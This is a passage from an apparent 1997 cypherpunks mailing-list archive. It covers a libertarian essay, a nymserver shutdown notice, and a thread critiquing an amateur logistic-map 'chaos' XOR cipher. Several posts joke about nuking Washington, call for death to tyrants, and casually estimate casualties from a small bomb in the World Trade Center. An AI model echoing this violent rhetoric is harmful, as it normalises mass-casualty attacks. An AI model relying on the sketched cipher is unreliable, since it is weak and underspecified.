   Trade Organization and World Intellectual Property Organization and
   draw on principles agreed by other bodies such as the Group of Seven
   top industrial countries, he said.
   





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 10 Sep 1997 08:05:17 +0800
To: cypherpunks@cyberpass.net
Subject: A Short History of Liberty
Message-ID: <199709092311.TAA31029@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Below is a copy of "A Short History of Liberty" by Dean Russell first
published in the Freeman in Jan 1955. Copied from "Essays in Liberty"
Volume III, published by the FEE (The Foundation for Economic Education,
Inc,) 1958.


"From Biblical times onward, the history of liberty and progress among
various peoples seems to have followed a remarkably similar pattern. there
are exceptions, of course-and the time element varies widely-but the
pattern may be generally described by ten key ideas in sequence:"

1. BONDAGE. At some point in their histories, all peoples seem to have
existed in some form of bondage or slavery-frequently even to their own
domestic rulers by their own votes or acquiescence. But when thoughtful
persons finally become aware that they are no longer free men, they want
to know why. When they ask themselves that question, they automatically
turn to contemplation and soul searching. Out of this grows ...

2. FAITH. If people in bondage have no faith-either in a personal Creator
or impersonal ideal-they will remain slaves and eventually die out or be
absorbed by another culture. But an intelligent faith will almost always
develop into ...

3. UNDERSTANDING. A person's faith needs to be buttressed by an
understanding of why it is evil to force any peaceful person to conform to
the will and ideas of another person. Otherwise, he is apt to remain a
faithful slave or attempt to become a slave-owner. But the combination of
faith and understanding results in the necessary ...

4. COURAGE. You may depend upon it, courageous men with faith and
understanding will neither remain in bondage nor keep others in bondage.
Even against great odds, this combination leads to ...

5. LIBERTY. Liberty is a relationship among persons wherein no person
molests any other peaceful person in his ideas, possessions, or actions.
Liberty may also be viewed as the responsibility one assumes for himself
and recognizes in all others, for there can be no liberty where there is
no responsibility. Liberty has never existed completely among any people
at any time; but where it has existed to a high degree, the resulting
freedom to work, trade, choose, win, lose, and bargain has always meant
...

6. ABUNDANCE. But if an abundance of material things is the primary aim of
a person, his life is devoid of any real meaning. For if the goal is
abundance, its achievement logically results in ...

7. COMPLACENCY. Complacency and self-satisfaction (the "full barns" of the
Biblical lesson) inevitably lead to ...

8. APATHY. With apathy comes a dullness and loss of interest-a "let George
do it" philosophy. And there will always be many political "Georges"
around to accept this invitation to seize both the reins and the whip.
This always degenerates into ...

9. DEPENDENCY. For a time, it is possible for dependents to be unaware
that they are dependents. As they continue to shed the personal
responsibilities which *are* freedom, they also continue to delude
themselves that they are still free people-"We never had it so good." Or
they may be deluded into believing that they are still free so long they
themselves are able to participate in the mechanical processes of
selecting their rulers-"We can still vote, can't we?" But dependents are
at the mercy of the persons or groups or parties upon whom they depend for
their housing, or security in old age, or subsidies, or education, or
medical care, or any of the other "aides" from political authority which
cause persons to depend on others instead of themselves. Sooner or later,
this dependency becomes know by its true nature ...

10. BONDAGE. Fortunately, the record shows that people can regain their
faith, understanding, and courage. They can again become persons and
citizens who are responsible for their own welfare, rather than units and
subjects identified by numbers for the purposes of regimentation and
subsidization. The record shows that people can, by their own intelligent
actions, regain their liberty any time they want it.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Version: 2.6.3a
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Johannes Kroeger <hanne@squirrel.owl.de>
Date: Tue, 9 Sep 1997 04:19:51 +0800
To: mail2news@anon.lcs.mit.edu
Subject: Re: Weasel nymserver closed due to child porn investigation
In-Reply-To: <19970907224816.29967@squirrel.owl.de>
Message-ID: <19970908205739.03652@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3984.1071713730.multipart/signed"

--Boundary..3984.1071713730.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

On 07 Sep 1997, I wrote:

> 3.  Mail to weasel.owl.de users will be remailed as usual, until I
> have transferred the accounts to another nymserver.  I would be very
> grateful if the admins of nym.alias.net or anon.efga.org are willing
> to host weasel's nyms until the investigations are closed and weasel
> is hopefully up again.

Andy Dustman, the operator of the redneck nymserver at anon.efga.org,
has now installed the weasel accounts on the EFGA server.  This means:

1. I don't have any data of pseudonymous users available anymore.

2. Mail to <yournym@weasel.owl.de> will be forwarded to
<yournym_w@anon.efga.org> ("_w" for weasel).
        ^^
3.  Mail to {send,config}@weasel.owl.de bounces with the following,
now somewhat more detailed error message:

Sending mail from weasel.owl.de is disabled until further notice.  Please
read <19970907224816.29967@squirrel.owl.de> in alt.privacy.anon-server for
more information.  The accounts have been moved to redneck (anon.efga.org):
<yournym@weasel.owl.de> is now <yournym_w@anon.efga.org>.

-- 
Johannes Kroeger		<hanne@squirrel.owl.de>
Send mail with subject "send pgp-key" to get my PGP key


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Content-Transfer-Encoding: base64
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Content-Description: "PGP signature"

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VTdmZUV4TWpQbFJpY1pjWndoNGpzNWVWUlp5bE5oeUFkc21lTEZ5Q1M4Clgz
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bi90bmJYQzVTT3c0eTVmR3gKU0s4ZUcvb3JWaHJ3WEVwckVCbzJ6c1Nwc3dl
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SUdOQVRVUkUtLS0tLQo=
--Boundary..3984.1071713730.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 9 Sep 1997 12:18:55 +0800
To: bd1011@hotmail.com (Nobuki Nakatuji)
Subject: Re: Gao's Chaos Cryptosystem Algorithm
In-Reply-To: <19970908071919.4105.qmail@hotmail.com>
Message-ID: <v03102805b03a7b36c47c@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:54 PM -0700 9/8/97, Igor Chudov @ home wrote:
>Nobuki Nakatuji wrote:
>>
>>
>> Gao's Chaos Cryptosystem Algorithm
>>
>> 1.key input
>> 2.input key generate chaos initial condition
>> 3.input key generate chaos signal(random number)
>> 4.chaos initial condition plus chaos signal
>>   XOR plain text
>
>How do you generate "chaos"?
>
>	- Igor.

Chaos may be generated with dripping water faucets, with alpha particle
emissions,  with Johnson noise.

It matters not, though, as schemes like this are dependent on key exchange,
and by repeatability of whatever "chaotic process" they employ.

They can be ignored.

The fact that "Nobuki Nakatuji" only appeared on our list days before the
revealing of his profound new breakthrough is telling. And all too
predictable.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Leo Papandreou <leo@supersex.com>
Date: Tue, 9 Sep 1997 09:25:33 +0800
To: cypherpunks@toad.com
Subject: Re: Deja Vu / Re: Info please
In-Reply-To: <199709090057.CAA14378@basement.replay.com>
Message-ID: <Pine.BSF.3.91.970908210903.24974A-100000@lisa.supersex.com>
MIME-Version: 1.0
Content-Type: text/plain





On Tue, 9 Sep 1997, Anonymous wrote:

> >> Dont go swimming on a full stomach.
> >Don't play with that, you'll shoot your eye out. 
> Always wear clean underwear in case you get hit by a car.
1+1=3 for large values of 1





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Nobuki Nakatuji" <bd1011@hotmail.com>
Date: Tue, 9 Sep 1997 12:36:45 +0800
To: cypherpunks@toad.com
Subject: Gao's Chaos Cryptosystem Algorithim
Message-ID: <19970909041824.464.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



P(i) Plaintext,C(i) Ciphertext,K(j) Key,Ch(i) Chaos signal,
L Irrational number


P(),C()-->Manage in byte,Length supposing that n byte.
K()-->Character line from ASCII CODE,Length supposing that m.


Ch(n)
begin
Xn+1=aXn(1.0-Xn)
return Xn+1
end


f(K)
begin
w = Sigmaj strtoul(K(j))j

delay=int(w/L)
return(double)(w/L-delay)
end


1.K input
2.delay generato
3.Ch(i) generato
4.P(i) acquire
5.C(i)=P(i) XOR Ch(i+delay)
6.C(i) output



______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 9 Sep 1997 10:05:45 +0800
To: cypherpunks@toad.com
Subject: Re: Government shows its hand...good news!
In-Reply-To: <v03102802b03a4c4ebf40@[207.167.93.63]>
Message-ID: <ogqqce82w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:

> The remaining alternate course, that the Act is passed, and then that the
> Supreme Court eventually affirms its constitutionality, is also good for
> us. For it will then mean war has been declared, and various extreme sorts
> of actions will then accelerate.
>
> And that could be a lot of fun.

Nuke Washington DC.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 9 Sep 1997 10:05:45 +0800
To: cypherpunks@toad.com
Subject: Re: GAK patents, anyone?
In-Reply-To: <v03102803b03a532c5c4b@[207.167.93.63]>
Message-ID: <Hiqqce83w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:

> Actually, one of the UC Berkeley professors actually *got* a patent on key
> escrow methods.  Micali, as I recall.

Does Sylvio work for the Sicilian Mafia?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 9 Sep 1997 12:58:22 +0800
To: ichudov@Algebra.COM (Igor Chudov)
Subject: Re: Gao's Chaos Cryptosystem Algorithm
In-Reply-To: <v03102805b03a7b36c47c@[207.167.93.63]>
Message-ID: <v03102807b03a832ba2fb@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:15 PM -0700 9/8/97, Igor Chudov @ home wrote:

>Tim, my question was related to items 2 and 3. I think that Nobuku san
>suggested a way to generate a stream of pseudo-random bits from an
>inputted text. The important question is, how Prof. Nobuku is going to
>do it exactly. If done right, I believe that his system is great if the
>key is never reused.
>
>Is that correct?
>
>Sayonara

Why do you think a private key system, even one based on trendy buzzwords
(e,g, "chaos") is interesting?

Do you think means of generating one time pads have been lacking?

As for "his system is great if the key is never reused," think about it.

As Santayana-san put it, each generation which fails to learn the lessons
of cryptography is condemned to reinvent the one time pad, and to give it a
trendy new name (virtual, chaotic, aptical, gaos, etc.).

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Tue, 9 Sep 1997 11:15:03 +0800
To: bd1011@hotmail.com (Nobuki Nakatuji)
Subject: Re: Gao's Chaos Cryptosystem Algorithm
In-Reply-To: <19970908071919.4105.qmail@hotmail.com>
Message-ID: <199709090254.VAA09220@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Nobuki Nakatuji wrote:
> 
> 
> Gao's Chaos Cryptosystem Algorithm
> 
> 1.key input
> 2.input key generate chaos initial condition
> 3.input key generate chaos signal(random number)
> 4.chaos initial condition plus chaos signal
>   XOR plain text

How do you generate "chaos"?

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Nobuki Nakatuji" <bd1011@hotmail.com>
Date: Tue, 9 Sep 1997 13:14:55 +0800
To: ichudov@Algebra.hotmail.com
Subject: Re: Gao's Chaos Cryptosystem Algorithm
Message-ID: <19970909050407.8678.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



>
>The interesting question that Nobuku can answer is how he generates 
>the key from the input.
>
>
The key generates from chaos function.



______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Nobuki Nakatuji" <bd1011@hotmail.com>
Date: Tue, 9 Sep 1997 13:19:16 +0800
To: ichudov@Algebra.COM
Subject: Re: Gao's Chaos Cryptosystem Algorithm
Message-ID: <19970909050442.3821.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



>
>The interesting question that Nobuku can answer is how he generates 
>the key from the input.
>
>
The key generates from chaos function.



______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 9 Sep 1997 13:35:14 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Government shows its hand...good news!
In-Reply-To: <ogqqce82w165w@bwalk.dm.com>
Message-ID: <3.0.3.32.19970908222556.00695390@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>>Nuke Washington DC.
>Perhaps so, but as Stalin said, paraphrasedly,
>"How many megatons do the Cypherpunks control?"
Well, cryptographers control most of them; how many of them have
become Cypherpunks is anybody's guess (low, probably, but hey....)


Autonomasia wrote:
> Joy may be an overreaction.
Well, ok, but at least a certain cheerful cynicism seems called for :-)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Nobuki Nakatuji" <bd1011@hotmail.com>
Date: Tue, 9 Sep 1997 13:39:05 +0800
To: ichudov@Algebra.COM
Subject: Re: Gao's Chaos Cryptosystem Algorithm
Message-ID: <199709090528.WAA07380@f48.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



>
>I will just repeat Prof. Choate's question, how do you generate Ch.
>
>
Ch generate 

begin
Xn+1=aXn(1.0-Xn)
return Xn+1
end

Do you understand Japanese ?
If you understand Japanese,
I will send theis of Gao's Chaos Cryptosystem to you.


______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 9 Sep 1997 11:27:55 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Gao's Chaos Cryptosystem Algorithm (fwd)
Message-ID: <199709090328.WAA03757@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Subject: Re: Gao's Chaos Cryptosystem Algorithm
> Date: Mon, 8 Sep 1997 21:54:31 -0500 (CDT)
> From: ichudov@algebra.com (Igor Chudov @ home)

> Nobuki Nakatuji wrote:
> > 
> > Gao's Chaos Cryptosystem Algorithm
> > 
> > 1.key input
> > 2.input key generate chaos initial condition
> > 3.input key generate chaos signal(random number)
> > 4.chaos initial condition plus chaos signal
> >   XOR plain text
> 
> How do you generate "chaos"?

I can think of several ways right off...

 -  radioactive source 

 -  controlled water flow through a faucet

 -  waterwheel such that each bucket contains a hole of the correct size

 -  magnetic pendulum

 -  jello scintillation counter

 -  A-B chemical oscillators at their critical point

 -  a light detector placed under a tree in a breeze or wind

 -  Chaos Game

 -  Foucalt Dust

The real question is what algorithm is used to generate the random seeds.
The above mechanical systems (eg magnetic pendulum) are excellent sources of
random numbers whereas the algorithmic (eg Chaos Game) methods are more
suspect and open to breaking.

You might want to check out:

Fractals for the Classroom: Part 1; Introduction to Fractals and Chaos
Peitgen, Jurgens, Saupe
ISBN 0-387-97041-X
ISBN 0-540-97041-X

I haven't looked at Part 2 yet so I don't have a clue as to its applicability.
But considering the authors reputations I would suspect it would be worth
a check out (I am planning on buying a copy anyway).


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 9 Sep 1997 13:41:52 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: GAK patents, anyone?
In-Reply-To: <v03102803b03a532c5c4b@[207.167.93.63]>
Message-ID: <3.0.3.32.19970908222848.00695358@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>> Actually, one of the UC Berkeley professors actually *got* a patent on key
>> escrow methods.  Micali, as I recall.

Yup.  '"Fair" Cryptosystems'  <gak phht!  As tacky a term as "Fair Trade">  

>Does Sylvio work for the Sicilian Mafia?

Close, though no exploding Cuban cigar.
   http://www.fourmilab.ch/#evilempire








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Tue, 9 Sep 1997 12:09:28 +0800
To: ravage@ssz.com (Jim Choate)
Subject: Re: Gao's Chaos Cryptosystem Algorithm (fwd)
In-Reply-To: <199709090328.WAA03757@einstein.ssz.com>
Message-ID: <199709090358.WAA09761@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Jim Choate wrote:
> From: ichudov@algebra.com (Igor Chudov @ home)
> 
> > Nobuki Nakatuji wrote:
> > > 
> > > Gao's Chaos Cryptosystem Algorithm
> > > 
> > > 1.key input
> > > 2.input key generate chaos initial condition
> > > 3.input key generate chaos signal(random number)
> > > 4.chaos initial condition plus chaos signal
> > >   XOR plain text
> > 
> > How do you generate "chaos"?
> 
> I can think of several ways right off...
> 
>  -  radioactive source 
>  -  controlled water flow through a faucet
>  -  waterwheel such that each bucket contains a hole of the correct size
>  -  magnetic pendulum
>  -  jello scintillation counter
>  -  A-B chemical oscillators at their critical point
>  -  a light detector placed under a tree in a breeze or wind
>  -  Chaos Game
>  -  Foucalt Dust
> 
> The real question is what algorithm is used to generate the random seeds.

I think that another real question (which I wanted to ask) is how do you
generate "chaos" from these random seeds.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 9 Sep 1997 14:14:11 +0800
To: Eric Blossom <tcmay@got.net
Subject: Re: Nuclear Hedge Funds / Social Engineering in History / Wiretap DiFi
In-Reply-To: <v03102802b039df8e51d7@[207.167.93.63]>
Message-ID: <3.0.3.32.19970908230135.006a94a4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:23 PM 9/8/97 -0700, Eric Blossom wrote:
>On of my favorite analyses of a similar scenario is contained in "The
>Curve of Binding Energy" by John McPhee (available at your local
>Borders or Barnes and Noble). 

Definitely a worthwhile read.  Unless I'm mixing it up with another book,
it also is a good history of now political entrepreneur John Aristotle
Phillips,
the kid from Princeton who designed a nuclear bomb for his junior physics
project because he needed a good paper to pull his grades up.
Some of his work was actual physics; much was social engineering,
like asking the guy at duPont what explosives they'd used.
The Pakistani government, which at the time was lobbying Congress
for assistance with their purely peaceful electric-power nuclear reactors,
was also trying to buy a copy of Phillips's bomb design paper...

> He basically interviews a high energy physicist and works out the 
Ted Taylor?
>A key point was that a high efficiency device is not required.  
>A dirty 1.5 kiloton gadget placed on the 40th floor of the World Trade
>Center takes out one tower and kills a shit load of folks in the
>adjacent tower. 
On the other hand, 0.5 kt of ANFO in the basement wasn't quite enough
to take the towers out.


However, we need to get off this "Nuke Washington!" kick,
and on to something more realistic like "Wiretap DiFi!"









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 9 Sep 1997 14:25:31 +0800
To: Peter Wayner <cypherpunks@toad.com
Subject: Re: Java Source for Encryption...
In-Reply-To: <v03102828b039d94b3880@[199.125.128.5]>
Message-ID: <3.0.3.32.19970908230933.006a2454@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 04:34 PM 9/8/97 -0400, Peter Wayner wrote, to coderpunks:
>Is anyone giving away Java source code for public-key encryption?


What evil lurks in the heart of the Internet?  AltaVista Knows....

Besides www.systemics.com, which has free Java crypto
there's also www.baltimore.ie which has commercial Java crypto as
well as some free downloadware.  

However, Baltimore's web pages also talk about how they're the winner 
of the EuroTrust TTP/CA development contract.  Sigh.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 9 Sep 1997 12:57:08 +0800
To: tcmay@got.net (Tim May)
Subject: Re: Gao's Chaos Cryptosystem Algorithm
In-Reply-To: <v03102805b03a7b36c47c@[207.167.93.63]>
Message-ID: <199709090415.XAA09883@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Tim May wrote:
> At 7:54 PM -0700 9/8/97, Igor Chudov @ home wrote:
> >Nobuki Nakatuji wrote:
> >> Gao's Chaos Cryptosystem Algorithm
> >>
> >> 1.key input
> >> 2.input key generate chaos initial condition
> >> 3.input key generate chaos signal(random number)
> >> 4.chaos initial condition plus chaos signal
> >>   XOR plain text
> >
> >How do you generate "chaos"?
> >
> >	- Igor.
> 
> Chaos may be generated with dripping water faucets, with alpha particle
> emissions,  with Johnson noise.
> 
> It matters not, though, as schemes like this are dependent on key exchange,
> and by repeatability of whatever "chaotic process" they employ.
> 
> They can be ignored.
> 
> The fact that "Nobuki Nakatuji" only appeared on our list days before the
> revealing of his profound new breakthrough is telling. And all too
> predictable.

Tim, my question was related to items 2 and 3. I think that Nobuku san
suggested a way to generate a stream of pseudo-random bits from an 
inputted text. The important question is, how Prof. Nobuku is going to
do it exactly. If done right, I believe that his system is great if the
key is never reused.

Is that correct?

Sayonara

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Nobuki Nakatuji" <bd1011@hotmail.com>
Date: Tue, 9 Sep 1997 14:35:26 +0800
To: ichudov@Algebra.COM
Subject: Re: Gao's Chaos Cryptosystem Algorithm
Message-ID: <19970909061833.14066.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain





>Nobuki Nakatuji wrote:
>> 
>> >
>> >I will just repeat Prof. Choate's question, how do you generate Ch.
>> >
>> >
>> Ch generate 
>> 
>> begin
>> Xn+1=aXn(1.0-Xn)
>> return Xn+1
>> end
>
>What does aXn(1.0-Xn) mean? That's what I do not understand.
>
It mean Chaos function.



______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Tue, 9 Sep 1997 15:01:58 +0800
To: cypherpunks@Algebra.COM
Subject: Re: A helluva way to run a country, er, a world
In-Reply-To: <970906105358_284527778@emout18.mail.aol.com>
Message-ID: <v0300780db03a9e34c4a9@[207.94.249.39]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:41 AM -0700 9/6/97, Tim May wrote:
>But look on the bright side: the militias and other patriot groups are
>getting a huge bounce out of this. Stay far away from the nests of vipers.
>Jefferson's wisdom that we need a revolution every generation or so is
>apt...though it's been about 180 years too long.

I claim the overthrow of Jim Crow laws and the Vietnam war in the 1960s and
1970s were the last revolution.  We're right on schedule for the next one.
Civilization can be measured as the inverse of the blood shed during
revolutions.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 9 Sep 1997 12:42:32 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Gao's Chaos Cryptosystem Algorithim (fwd)
Message-ID: <199709090442.XAA04016@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: "Nobuki Nakatuji" <bd1011@hotmail.com>
> Subject: Gao's Chaos Cryptosystem Algorithim
> Date: Mon, 08 Sep 1997 21:18:24 PDT

> P(i) Plaintext,C(i) Ciphertext,K(j) Key,Ch(i) Chaos signal,
> L Irrational number
> 
> 
> P(),C()-->Manage in byte,Length supposing that n byte.
> K()-->Character line from ASCII CODE,Length supposing that m.
> 
> 
> Ch(n)
> begin
> Xn+1=aXn(1.0-Xn)
> return Xn+1
> end
> 
> 
> f(K)
> begin
> w = Sigmaj strtoul(K(j))j
> 
> delay=int(w/L)
> return(double)(w/L-delay)
> end
> 
> 
> 1.K input
> 2.delay generato
> 3.Ch(i) generato
> 4.P(i) acquire
> 5.C(i)=P(i) XOR Ch(i+delay)
> 6.C(i) output

Nice but as noted by others, without a better explanation of what is going
on with Ch(i) the algorithm as detailed is useless.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Tue, 9 Sep 1997 13:10:28 +0800
To: tcmay@got.net (Tim May)
Subject: Re: Gao's Chaos Cryptosystem Algorithm
In-Reply-To: <v03102807b03a832ba2fb@[207.167.93.63]>
Message-ID: <199709090450.XAA10120@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Tim May wrote:
> At 9:15 PM -0700 9/8/97, Igor Chudov @ home wrote:
> >Tim, my question was related to items 2 and 3. I think that Nobuku san
> >suggested a way to generate a stream of pseudo-random bits from an
> >inputted text. The important question is, how Prof. Nobuku is going to
> >do it exactly. If done right, I believe that his system is great if the
> >key is never reused.
> >
> >Is that correct?
> >
> >Sayonara
> 
> Why do you think a private key system, even one based on trendy buzzwords
> (e,g, "chaos") is interesting?

I think that what Nobuku described is not a private key system (because
keys cannot be reused), but rather an approach to generating one time 
pads.

Whether something that is interesting to me should also be interesting to
you is open to question.

> Do you think means of generating one time pads have been lacking?

I think that one more good way of doing it would not hurt.

> As for "his system is great if the key is never reused," think about it.

> As Santayana-san put it, each generation which fails to learn the lessons
> of cryptography is condemned to reinvent the one time pad, and to give it a
> trendy new name (virtual, chaotic, aptical, gaos, etc.).

So what if he reinvents something? Most of what high school and undergrad 
students do is learning and reinventing ideas that are already known. That
does not make study less exciting.

The interesting question that Nobuku can answer is how he generates the
key from the input.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Tue, 9 Sep 1997 13:17:33 +0800
To: bd1011@hotmail.com (Nobuki Nakatuji)
Subject: Re: Gao's Chaos Cryptosystem Algorithim
In-Reply-To: <19970909041824.464.qmail@hotmail.com>
Message-ID: <199709090458.XAA10188@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Nobuku,

Could you please write your encryption algorithm in some more formal
language (like C or Pascal) more completely? At least to me, the way you
presented it is a bit hard to understand.

Thank you

igor

Nobuki Nakatuji wrote:
> 
> 
> P(i) Plaintext,C(i) Ciphertext,K(j) Key,Ch(i) Chaos signal,
> L Irrational number
> 
> 
> P(),C()-->Manage in byte,Length supposing that n byte.
> K()-->Character line from ASCII CODE,Length supposing that m.
> 
> 
> Ch(n)
> begin
> Xn+1=aXn(1.0-Xn)
> return Xn+1
> end
> 
> 
> f(K)
> begin
> w = Sigmaj strtoul(K(j))j
> 
> delay=int(w/L)
> return(double)(w/L-delay)
> end
> 
> 
> 1.K input
> 2.delay generato
> 3.Ch(i) generato
> 4.P(i) acquire
> 5.C(i)=P(i) XOR Ch(i+delay)
> 6.C(i) output
> 
> 
> 
> ______________________________________________________
> Get Your Private, Free Email at http://www.hotmail.com
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Tue, 9 Sep 1997 13:23:55 +0800
To: bd1011@hotmail.com (Nobuki Nakatuji)
Subject: Re: Gao's Chaos Cryptosystem Algorithm
In-Reply-To: <19970909050442.3821.qmail@hotmail.com>
Message-ID: <199709090509.AAA10295@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



I will just repeat Prof. Choate's question, how do you generate Ch.

igor

Nobuki Nakatuji wrote:
> 
> >
> >The interesting question that Nobuku can answer is how he generates 
> >the key from the input.
> >
> >
> The key generates from chaos function.
> 
> 
> 
> ______________________________________________________
> Get Your Private, Free Email at http://www.hotmail.com
> 



	- Igor.





